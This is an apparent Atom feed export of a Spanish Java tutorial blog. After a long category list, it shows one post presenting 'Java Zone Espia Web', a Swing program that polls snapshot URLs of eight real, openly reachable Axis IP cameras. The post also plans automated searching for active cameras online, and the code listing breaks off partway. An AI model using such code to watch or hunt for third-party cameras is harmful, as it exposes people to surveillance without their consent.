<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8615379153941197849</id><updated>2012-03-10T14:43:57.711-05:00</updated><category term='Ubicación desde java'/><category term='reiniciar computador desde java'/><category term='Grafo Dinamico'/><category term='Comic book'/><category term='Buscar en JList en java'/><category term='postgres'/><category term='Zip con java'/><category term='parametros'/><category term='Portapapeles'/><category term='Java Zone DownLoader'/><category term='reprodructor con JMF'/><category term='JList con iconos'/><category term='Google Books'/><category term='Tabla con ComboBox'/><category term='Iconos en JComboBox'/><category term='ZIP en java'/><category term='Barra de estado'/><category term='fondo transparente'/><category term='broma'/><category term='conexion mysql con java'/><category term='JButton'/><category term='barra simplificada de busqueda'/><category term='Ventanas internas en java'/><category term='JMF'/><category term='archivos ftp'/><category term='paneles desplegables'/><category term='Comprobar el disco desde Java'/><category term='Alpha en imagenes'/><category term='texto sombra'/><category term='test de velocidad'/><category term='Texto invertido en java'/><category term='dividir mensaje en partes'/><category term='Reorganizar Componentes'/><category term='recorrer colecciones en java'/><category term='TaskPane'/><category term='java'/><category term='tabla con imagen y texto en una celda'/><category term='Clase Stack'/><category term='Propiedades de archivos'/><category term='consola'/><category term='JDesktopPane y JInternalFrame'/><category term='triqui en java'/><category term='posicion del mouse'/><category term='archivos properties'/><category term='Ajuste de color en java'/><category term='Zoom en java'/><category term='JTable con JComboBox en columna'/><category term='JList'/><category term='CheckDisk desde java'/><category term='Ventana transparente'/><category term='JTabbedPane con X'/><category term='Pila'/><category term='Espia Java Zone'/><category term='Fuentes de texo'/><category term='Java Zone Espia Web'/><category term='mensajes y alertas en java'/><category term='processBuilder'/><category term='Calendario en Java'/><category term='visor de mapas'/><category term='Leer archivo de Excel en java'/><category term='ActionListener'/><category term='Uso de JFreeChart'/><category term='menu contextual en java'/><category term='Ventana sin marco'/><category term='cambiar iconos de tu aplicacion'/><category term='pgrestore'/><category term='Manejador de descargas'/><category term='Solucion Sudoku'/><category term='Alcanza el Boton'/><category term='Redimensionar imagen'/><category term='Uso de MouseListener'/><category term='animar barra de progreso'/><category term='Torres de Hanoi en java'/><category term='agregar elementos a un JToolBar'/><category term='cybercafe'/><category term='Explorador Web'/><category term='Uso de la clase JToolTipText'/><category term='Apagar PC desde java'/><category term='java web'/><category term='Hipervinculos en JEditorPane'/><category term='Recursividad'/><category term='JCheckBox'/><category term='escuchador de eventos de mouse'/><category term='Buscador videos y musica desde java'/><category term='Abrir un archivo ico'/><category term='Personalizar cursor en java'/><category term='JRadioButton'/><category term='movimiento de imagenes en java'/><category term='JSearchField'/><category term='JTabbedPane'/><category term='Sudoku en java'/><category term='JColorChooser'/><category term='Fifa 2010'/><category term='focus'/><category term='HTML en JLabel'/><category term='BackTracking en java'/><category term='Combinar Teclas'/><category term='uso del portapapeles en java'/><category term='Look And Feel Napkin'/><category term='Animar icono de la ventana'/><category term='grafico de barras'/><category term='Uso de JavaMail'/><category term='etiquetas en java'/><category term='hilo mensajero'/><category term='JTable con JLabel en celdas'/><category term='BoxLayout'/><category term='menu dinamico'/><category term='JMario'/><category term='Arbol de Archivos'/><category term='crear archvos ZIP en java'/><category term='resaltar texto'/><category term='pop up con imagenes'/><category term='properties'/><category term='Capturar fotos con camara desde java'/><category term='Java Zone YoutubeViewer'/><category term='BackTracking'/><category term='Iterator en java'/><category term='imagenes en java'/><category term='mensaje informativo de boton'/><category term='xml reader'/><category term='Applet'/><category term='ver archivos PDF en java'/><category term='Color Celda JTable'/><category term='ToolTipText personalizado'/><category term='JSlider'/><category term='correos electrónicos en java'/><category term='web'/><category term='hilos'/><category term='cibergest'/><category term='Graficador Tangente'/><category term='Uso de MouseMotionListener'/><category term='dibujar un grafica de torta en java'/><category term='escribir archivo pdf en java'/><category term='texto unicode'/><category term='JToolBar'/><category term='generar archivos XML desde java'/><category term='informacion computador con java'/><category term='reproductor en java'/><category term='reprodructor de video en java'/><category term='Fusionar dos imagenes en java'/><category term='cliente ftp'/><category term='Componentes sobre Imagen de Fondo'/><category term='Organizar fechas'/><category term='Java Look And Feels'/><category term='caja de texto en java'/><category term='ver videos en java'/><category term='lista con iconos en java'/><category term='panel semitransparente'/><category term='Vuelta a tras'/><category term='obtener posicion mouse'/><category term='backup'/><category term='mensaje boton'/><category term='Degradados en Java'/><category term='estados del cursor en java'/><category term='xml'/><category term='java zone map'/><category term='JScrollPane'/><category term='KeyListener'/><category term='bloquear el pc'/><category term='Excepciones en java'/><category term='caida megaupload'/><category term='matriz de costos'/><category term='controlar el mouse con el teclado'/><category term='guardar imagen en archivo'/><category term='ordenar fechas'/><category term='menu java'/><category term='Texto al revés en java'/><category term='JCheckBox en cabecera de un JTable'/><category term='netcat en java'/><category term='status bar'/><category term='Guardar configuración de Look and Feel Actual'/><category term='Cliente para subir a Youtube'/><category term='Traductor'/><category term='NavegadorWeb'/><category term='Abrir Archivos ZIP desde java'/><category term='Layouts'/><category term='dropbox'/><category term='JTabbedPane con Botones'/><category term='JLabel'/><category term='java por consola'/><category term='teclado en pantalla'/><category term='Texto Vertical'/><category term='Pantalla Completa en Java'/><category term='matriz de identidad'/><category term='clase Desktop'/><category term='buscar texto'/><category term='Icono en la barra de tareas desde Java'/><category term='paneles en java'/><category term='componentes con Bordes'/><category term='eliminar archivos'/><category term='escarlar imagen'/><category term='Ventana con Marco Personalizado'/><category term='download'/><category term='ver computadores de tu red'/><category term='ventana siempre visible'/><category term='JComboBox'/><category term='browser'/><category term='panel con degradado'/><category term='localizacion geografica'/><category term='Graficadora en java'/><category term='Iconos en lista desplegable en java'/><category term='BorderLayout'/><category term='cmd'/><category term='leer codigo fuente desde java'/><category term='SwingX'/><category term='patrones de diseño'/><category term='camaras ip'/><category term='visualizador pdf'/><category term='Tray Icon en Java'/><category term='Font en java'/><category term='process'/><category term='Lectura de comandos'/><category term='Icono de JFrame animado'/><category term='titulo en movimiento'/><category term='cuadrado magico'/><category term='Cliente Blogger'/><category term='Imagen desde URL'/><category term='Ventanas en java'/><category term='JButton animado'/><category term='reproductor de musica'/><category term='Abrir y modificar archivos properties'/><category term='Combinar Teclas en java'/><category term='enviar correo electronico desde java'/><category term='formato psp'/><category term='grafico de torta'/><category term='megaupload'/><category term='ficheros zip en java'/><category term='Bordes en Java'/><category term='skins'/><category term='Juego'/><category term='anime'/><category term='InputVerifier'/><category term='Juego Concentrese'/><category term='Gestor de Correos'/><category term='cabecera de tabla con +'/><category term='HTML en etiquetas'/><category term='Gestor de Correos Electrónicos'/><category term='Buscar y Seleccionar texto'/><category term='JTextPane con texto de colores'/><category term='kickupload'/><category term='video en java'/><category term='JNumKeyboar'/><category term='rotar imagen en java'/><category term='JKeyboard'/><category term='Pila en java'/><category term='FullScreen en Java'/><category term='Tipos de cursores en java'/><category term='texto en java'/><category term='Redimensionar foto'/><category term='formato nintendo ds'/><category term='restore'/><category term='Graficador Modelo RC'/><category term='Funciones Matematicas'/><category term='Fibonacci ciclos for while'/><category term='Tabla con fondo'/><category term='FTP'/><category term='JCheckBox en cabecera de una tabla'/><category term='JTextSombra'/><category term='video'/><category term='manejo de sockets en java'/><category term='Marca de Agua en Java'/><category term='Google Books Downloader'/><category term='Animacion Boton'/><category term='Ventana bloqueante JDialog Modal java'/><category term='Mostrar unidades del sistema'/><category term='juego en java'/><category term='ascensor en java'/><category term='Texto en Letrero'/><category term='Java EE'/><category term='Cabecera con mas'/><category term='Transparencia en java'/><category term='Encriptacion de claves en Java'/><category term='ResourceBundle'/><category term='boton en java'/><category term='explorar tu red'/><category term='Informacion Pc en java'/><category term='cambiar color de las celdas de una tabla'/><category term='JPanel'/><category term='JFrame'/><category term='foco'/><category term='modifica Color'/><category term='grafos'/><category term='Filtro para JFileChooser'/><category term='mover texto en java'/><category term='Apariencias'/><category term='contador visitas'/><category term='Explorador de Archivos'/><category term='Tomcat'/><category term='teclado en java'/><category term='crear pdf en java'/><category term='Jlabel con texto vertical'/><category term='CardLayout'/><category term='Cambiar panel en tiempo de ejecucion'/><category term='colocar imagen en el fondo de una tabla'/><category term='mapas'/><category term='Iconos con Miniatura'/><category term='texto con colores'/><category term='Tabla con JComboBox que tiene lista de JCheckBox'/><category term='AwtUtilities'/><category term='manga'/><category term='Barra de busqueda en un JMenuBar'/><category term='buscar en una lista en java'/><category term='brote'/><category term='Patrón singleton'/><category term='Cola en Java'/><category term='Animacion Persona caminando en java'/><category term='guardar skin actual en java'/><category term='fuentes'/><category term='JTextArea'/><category term='menu'/><category term='Stack en java'/><category term='matriz de Floy'/><category term='sockets'/><category term='GridLayout'/><category term='ver camaras ip'/><category term='Cola'/><category term='JTextField'/><category term='iconos'/><category term='juego java'/><category term='JComboBox con lista de JCheckBox'/><category term='controlar otro pc'/><category term='Barra de busqueda'/><category term='bloquear el computador desde java'/><category term='thread'/><category term='tablas en java'/><category term='Leer codigo fuente de una pagina web'/><category term='Cambiar cursor en java'/><category term='videos de Youtube'/><category term='Ventana Splash'/><category term='servlets'/><category term='manejadores de contenido'/><category term='factorial en java'/><category term='mostrar un ico en java'/><category term='contador web en java'/><category term='JPopupMenu'/><category term='clipboard'/><category term='criptografia'/><category term='JOptionPane'/><category term='cambiar de posicion los componenetes'/><category term='ver camaras ip online'/><category term='Encriptar MD5'/><category term='Panel de Pestañas con Botones'/><category term='asistencia remota'/><category term='Menus en java'/><category term='Clase Math'/><category term='Obtener Color de pixel en Java'/><category term='Graficos con JFreeChart'/><category term='Internacionalizacion'/><category term='JTree'/><category term='Graficador Seno'/><category term='reproductor video'/><category term='Espia web'/><category term='ciber local'/><category term='grafico de linea'/><category term='ping pong en java'/><category term='Figuras en java'/><category term='Traduccion desde java'/><category term='Clase Robot en java'/><category term='Apager computador desde java'/><category term='Sudoku'/><category term='MD5'/><category term='transparencia en paneles'/><category term='Accion en botones en java'/><category term='JTable con cabecera lateral'/><category term='JTextField con texto de fondo'/><category term='java zone manejo de clientes'/><category term='recortar imagen'/><category term='Visualizador de Imagens'/><category term='Fuentes en Java'/><category term='Direccion IP desde java'/><category term='Sudoku con Backtracking'/><category term='pestañas en java'/><category term='Obtener resoluciones de la pantalla'/><category term='datos Computador'/><category term='visor de imagenes en java'/><category term='buscador de palabras'/><category term='fibonacci'/><category term='encriptacion SHA-1'/><category term='mover texto'/><category term='selector de archivos en java'/><category term='hilo'/><category term='Subir a Youtube desde Java'/><category term='Dibujar triangulo en java'/><category term='Linea punteada'/><category term='Applet llama a otro Applet'/><category term='dibujar grafos en java'/><category term='java2D'/><category term='navegador web'/><category term='Cronometro en Java'/><category term='obtener codigo hexagesimal de un color'/><category term='Stream de CMD'/><category term='encoding string'/><category term='Uso de JCalendar en java'/><category term='mouse con teclado'/><category term='Cony'/><category term='lector xml'/><category term='api de google'/><category term='programa para vigilar otro pc'/><category term='Texto en Letrero de Carretera'/><category term='Gestor de E-mails'/><category term='Mover titulo de una ventana'/><category term='Font'/><category term='Uso de barra de progreso y Timer'/><category term='Modelo RC en java'/><category term='JFileChooser'/><category term='juego gato'/><category term='pgbackup'/><category term='JTextPane'/><category term='aplicar zoom a imagenes en java'/><category term='Bingo en java'/><category term='radio botones en java'/><category term='unidades en java'/><category term='Clase Runtime en java'/><category term='dibujo de figuras en java'/><category term='multilenguaje en java'/><category term='Degradados'/><category term='JTable'/><category term='etiquetas xml'/><category term='paginas dinamicas'/><category term='FlowLayout'/><category term='teclado numerico en java'/><category term='Fonts'/><category term='Administrar blogs'/><category term='Graficador Conseno'/><category term='Medidor de Velocidad de internet'/><category term='Cambiar caret de un JTextArea'/><category term='administrador ciber local'/><category term='jsp'/><category term='Barras de herramientas en java'/><category term='linea discontinua'/><category term='Tic Tac Toe'/><category term='Java 2D'/><category term='animacion en java'/><category term='Verificar tipo en JTexfield en java'/><category term='FTP client'/><category term='dibujo mano alzada'/><category term='Mario Bros en Java'/><category term='ToolTipText con html'/><category term='uso de String largo'/><category term='java zone'/><category term='filtro para JTable'/><category term='Manejo Texto Grande'/><category term='teclado virtual'/><category term='StringTokenizer'/><category term='campo de busqueda en Java'/><category term='Simulador Elevador en java'/><category term='Visualizador de imagenes en miniatura desde java'/><title type='text'>Java Zone</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default?start-index=101&amp;max-results=100'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>238</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-1762207261643313284</id><published>2012-03-04T21:55:00.002-05:00</published><updated>2012-03-04T21:55:24.170-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Zone Espia Web'/><category scheme='http://www.blogger.com/atom/ns#' term='ver camaras ip online'/><category scheme='http://www.blogger.com/atom/ns#' term='camaras ip'/><category scheme='http://www.blogger.com/atom/ns#' term='ver camaras ip'/><title type='text'>Java Zone Espia Web, Segunda Entrega</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;Java Zone Espia Web, Segunda Entrega&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En esta segunda entrega mejoramos algunas cosas, pero&amp;nbsp;todavía&amp;nbsp;quedan pendientes algunos detalles, primero mencionaremos los arreglos hechos con respecto a la primera entrega:&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Se carga la ventana mas&amp;nbsp;rápido.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Se puede seleccionar una&amp;nbsp;cámara&amp;nbsp;y ver en tamaño completo.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Las&amp;nbsp;imágenes&amp;nbsp;se extienden al tamaño total de la ventana.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Mayor velocidad de refresco de la secuencia de&amp;nbsp;imágenes.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Icono de&amp;nbsp;cámara, que muestra que hay una&amp;nbsp;cámara&amp;nbsp;cargando y que se mostrara en instantes.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Ahora mencionaremos algunos aspectos a mejorar:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Mayor cantidad de&amp;nbsp;cámaras&amp;nbsp;para ver.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Que podamos automatizar la&amp;nbsp;búsqueda&amp;nbsp;de&amp;nbsp;cámaras&amp;nbsp;activas en&amp;nbsp;Internet&amp;nbsp;y que el programa las muestre.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Poder escoger favoritos y que guarde las preferencias por usuario.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Mejorar la interfaz, mas opciones.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-6gB-cTkTOTw/T1QpSRuDNgI/AAAAAAAAAlQ/_rQpz_3IvQ4/s1600/JavaZoneEspiaWeb+2.1+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="133" src="http://3.bp.blogspot.com/-6gB-cTkTOTw/T1QpSRuDNgI/AAAAAAAAAlQ/_rQpz_3IvQ4/s320/JavaZoneEspiaWeb+2.1+-+Java+Zone.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-lL6OQFLPli8/T1QpUOkKoQI/AAAAAAAAAlY/UNS0E-FWUrc/s1600/JavaZoneEspiaWeb+2.2+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="133" src="http://3.bp.blogspot.com/-lL6OQFLPli8/T1QpUOkKoQI/AAAAAAAAAlY/UNS0E-FWUrc/s320/JavaZoneEspiaWeb+2.2+-+Java+Zone.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-xLU-lPdYxBU/T1QpRTWUj6I/AAAAAAAAAlI/4yUL_de-RS0/s1600/JavaZoneEspiaWeb+2.0+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://4.bp.blogspot.com/-xLU-lPdYxBU/T1QpRTWUj6I/AAAAAAAAAlI/4yUL_de-RS0/s320/JavaZoneEspiaWeb+2.0+-+Java+Zone.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.ArrayList;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JFrame;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class Principal extends JFrame {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public JPanel panelPrincipal;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public ArrayList&amp;lt;String&amp;gt; urls = new ArrayList&amp;lt;String&amp;gt;();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public ArrayList&amp;lt;PanelCamara&amp;gt; camaras = new ArrayList&amp;lt;PanelCamara&amp;gt;();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public Principal() {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; urls.add("http://146.186.123.229/axis-cgi/jpg/image.cgi?resolution=352x240");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; urls.add("http://131.111.133.11/axis-cgi/jpg/image.cgi?resolution=480x360&amp;amp;dummy=1267804722739");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; urls.add("http://fotogermanoviseu.dyndns.info/axis-cgi/jpg/image.cgi?resolution=640x480&amp;amp;compression=10&amp;amp;color=1&amp;amp;clock=1&amp;amp;date=1");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; urls.add("http://198.82.159.134/axis-cgi/jpg/image.cgi?resolution=640x480&amp;amp;dummy=1152818432828");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; urls.add("http://98.238.252.97/axis-cgi/jpg/image.cgi?resolution=800x600&amp;amp;dummy=1280477002758");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; urls.add("http://80.24.195.19/axis-cgi/jpg/image.cgi?resolution=480x360");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;urls.add("http://216.8.159.21/axis-cgi/jpg/image.cgi?resolution=640x480");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; urls.add("http://hncam1.hn.psu.edu/axis-cgi/jpg/image.cgi?resolution=320x240");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; panelPrincipal = new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; panelPrincipal.setLayout(new GridLayout(2, 4, 5, 5));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for (int i = 0; i &amp;lt; urls.size(); i++) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; PanelCamara pc = new PanelCamara(i,urls.get(i),this); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; panelPrincipal.add(pc);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; camaras.add(pc);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; add(panelPrincipal);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void DesactivarHilos(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;for(int i=0;i&amp;lt;camaras.size();i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;camaras.get(i).hf.stop();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;camaras.get(i).PararHilo();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void ActivarHilos(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;for(int i=0;i&amp;lt;camaras.size();i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;camaras.get(i).IniciarHilo();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void AgregarPaneles(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;for(int i=0;i&amp;lt;camaras.size();i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelPrincipal.add(camaras.get(i));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;panelPrincipal.updateUI();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;repaint();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public static void main(String arg[]) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Principal p = new Principal();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; p.setVisible(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; p.setBounds(0, 0, 600, 250);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; p.setLocationRelativeTo(null);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; p.setTitle("Java Zone Espia Web");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; 